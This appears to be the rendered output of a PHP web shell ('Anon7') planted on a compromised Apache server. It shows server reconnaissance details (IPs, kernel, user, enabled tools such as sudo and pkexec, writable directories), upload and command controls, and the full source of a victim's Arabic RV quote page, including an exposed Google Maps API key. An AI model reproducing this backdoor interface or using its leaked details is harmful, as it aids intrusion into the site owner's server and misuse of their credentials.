SCDNG PELER
Server IP : 162.241.126.129  /  Your IP : 3.135.184.124
Web Server : Apache
System : Linux 162-241-126-129.cprapid.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User : rvway5nu4 ( 1018)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/rvway5nu4/www/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/rvway5nu4/www//ar_quote.php
<?php
include("./config/data.config.php"); 
include("$LIB_DIR/functions.lib.php");
include("$LIB_DIR/db.php");
include("$LIB_DIR/db/mysqli.php"); 
include("$LIB_DIR/data.constant.php");
include("$LIB_DIR/sitemsgs.php");
include("$LIB_DIR/class.paging.php");
include("$LIB_DIR/functions.mailer.php");
$db	=	new Db( $DB_HOST, $DB_USERNAME, $DB_PASSWORD, $DB_NAME, $DB_REPORT_ERROR, $DB_PERSISTENT_CONN);

$sql = "SELECT * FROM tbl_setting  WHERE i_settingID = '2'  ";  
$result=$db->query($sql);
if($result->num_rows) {	 
	$row  = $result->row;
	$txt_sale_your_rv = $row['txt_sale_your_rv'];
	$txt_rv_product_page = $row['txt_rv_product_page'];
	$v_phone_number   = $row['v_phone_number'];
	$quote_page_variable1   = $row['quote_page_variable1'];
	$quote_page_variable2   = $row['quote_page_variable2'];
	$quote_page_variable3   = $row['quote_page_variable3'];
	$quote_page_variable4   = $row['quote_page_variable4'];
	$v_address   = $row['v_address'];
}

//$database = new DB();
$error='';
$msg='';

if( !isset( $_SESSION['SESS_id'] ) && (  $_SESSION['SESS_type'] == 'AD' )  ){  		
		$_SESSION['msg'] = '<div class="alert alert-warning" >There is no login.</div>';
		header('Location: '.SUB_DIR_PROJECT.'/ar_index.php');
		exit;
}

if( isset( $_REQUEST['submitQuote']) &&  $_REQUEST['submitQuote'] == 'yes' ){
		
		$PROMPT ='<div class="alert alert-success alert-dismissable">
								<button type="button" class="close" data-dismiss="alert" aria-hidden="true">X</button>
								<strong><i class="fa fa-check-circle"></i> Success :</strong>Thanks to your quote, We will contact you soon.
		</div>';

		$_SESSION['msg'] = $PROMPT; 
		header('Location: '.SUB_DIR_PROJECT.'/ar_quote.php');
		exit;


}

?>
<!DOCTYPE html>
<html lang="en">
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    
    <title>RV Way</title>
    <!-- mobile responsive meta -->
    <meta name="viewport" content="width=device-width, initial-scale=1">
	<?php require_once($ROOT_DIR.'/page_content/ar/common/header_common_link1.php'); ?>
	<?php require_once($ROOT_DIR.'/page_content/ar/common/header_common_link2.php'); ?>
	<?php require_once($ROOT_DIR.'/page_content/ar/common/header_common_link3.php'); ?>
	<?php require_once($ROOT_DIR.'/page_content/ar/common/header_common_link4.php'); ?>
</head>
<body>
	
	<!-- <div class="preloader"></div> -->
    <div class="page-wrapper"  >

		<!-- space for preloader -->
		<header class="site-header header-one" >
			<div class="top-header">
				<?php  require_once( $ROOT_DIR.'/page_content/ar/common/header_top.php'); ?>
			</div><!-- /.top-header -->
			<nav class="navbar navbar-expand-lg navbar-light header-navigation stricky header-style-one" >
				<?php require_once($ROOT_DIR.'/page_content/ar/common/header_nav.php'); ?>
            </nav>
		</header><!-- /.site-header -->
		
		<?php // require_once($ROOT_DIR.'/page_content/us/home/minimal-bootstrap-carousel.php'); ?>
        
        <div class="contact">
           
            <div class="container">
                <div class="row justify-content-end">
                    
                </div><!-- /.row -->
            </div><!-- /.container -->
            <div class="contact-form f1">
                <div class="container">
				<!--  SSSSSSSSSSS-->
					<div class="quote-area">
						<div class="container-fluid">
							<div class="row no-gutters">
								<div class="col-xl-4 bg1 d-flex">
									<div class="content-box my-auto">
										<div class="text-white text-center">
											<h2 class="f1"><?php echo $quote_page_variable1; ?></h2>
											<div class="call-us text-center bg-white">
												<p class="fw-7 c1 text-uppercase">اتصل بنا اليوم</p>
												<h1 class="fw-3 c3"><a href="tel:<?php echo $v_phone_number; ?>"><?php echo $v_phone_number; ?></a></h1>
											</div><!-- /.call-us -->
										</div>
									</div><!-- /.content-box -->
								</div><!-- /.col-lg-4 -->
								<div class="col-xl-8 quote-form-wrapper">
										
									 <div class="row justify-content-xl-end justify-content-center">
										 <div class="col-xl-11 pl-30 pr-0">
										<?php 
										echo '<BR/>';
										if( isset($_SESSION['msg'])){
											echo $_SESSION['msg'];
											unset($_SESSION['msg']);
										
										}
										?>
											 <div class="quote-form">
												<div class="thm-header text-center">
													<p class="c1 pb-10"><?php echo $quote_page_variable2; ?></p>
													<h1 class="c3"><?php echo $quote_page_variable3; ?></h1>
												</div><!-- /.thm-header -->

												<form method="post" class="clearfix text-center">
													<div class="quote-block float-left">
														<input type="text" placeholder="اسمك">
													</div><!-- /.quote-block -->
													<div class="quote-block float-right">
														<input type="text" placeholder="عنوان البريد الإلكتروني">
													</div><!-- /.quote-block -->
													<div class="quote-block float-left">
														<input type="text" placeholder="رقم الهاتف">
													</div><!-- /.quote-block -->
													<div class="quote-block float-right">
														<input type="text" placeholder="اختر سنة">
													</div><!-- /.quote-block -->
													<div class="quote-block float-left">
														<input type="text" placeholder="حدد النموذج">
													</div><!-- /.quote-block -->
													<div class="quote-block float-right">
														<input type="radio" class="d-none" id="repair" name="caravan">
														<label for="repair">يصلح</label>
														<input type="radio" class="d-none" id="service" name="caravan">
														<label for="service">الخدمات</label>
													</div><!-- /.quote-block -->
													<div class="clr"></div><!-- /.clr -->
													<textarea placeholder="أخبرنا عن الخدمة و / أو الإصلاح الذي تحتاجه؟"></textarea>
													<input type="hidden" name="submitQuote" value="yes"  >
													<button type="submit"><?php echo $quote_page_variable4; ?></button>
												</form>
											</div><!-- /.quote-form -->
										 </div><!-- /.col-11 -->
									 </div><!-- /.row -->
								</div><!-- /.col-lg-8 -->
							</div><!-- /.row -->
						</div><!-- /.container-fluid -->
					</div>
				<!--  SSSSSSSSSS-->
                </div><!-- /.container -->
            </div><!-- /.contact-form -->
        </div><!-- /.blog blog-1 -->
    </div><!-- /.page-wrapper -->


	<footer class="crop">
		<?php  require_once($ROOT_DIR.'/page_content/ar/common/footer_middle.php'); ?>
		<?php require_once($ROOT_DIR.'/page_content/ar/common/footer_bottom.php'); ?>
	</footer>
    <a href="#" data-target="html" class="scroll-to-target scroll-to-top"><i class="fa fa-long-arrow-up"></i></a>
    <!-- /.scroll-to-top -->
	<?php require_once($ROOT_DIR.'/page_content/ar/common/footer_js.php'); ?>
	<script src="https://maps.googleapis.com/maps/api/js?key=AIzaSyBurXgYMavDEzEDzGs8Pq-TZVamhF2aZoE"></script>
	<script src="<?php echo $SITE_URL; ?>/js/gmaps.js"></script>
	<script src="<?php echo $SITE_URL; ?>/js/map-helper.js"></script>

	<script>
		$("#vaddressmap").on('click', function(){
				location.href = 'ar_contact.php';
				
				//var viewcontactriceAjaxRESULT = document.getElementById("viewcontact");
				//viewcontactriceAjaxRESULT.scrollIntoView();

		});
	</script>

    </body>
</html>

Anon7 - 2022
SCDN GOK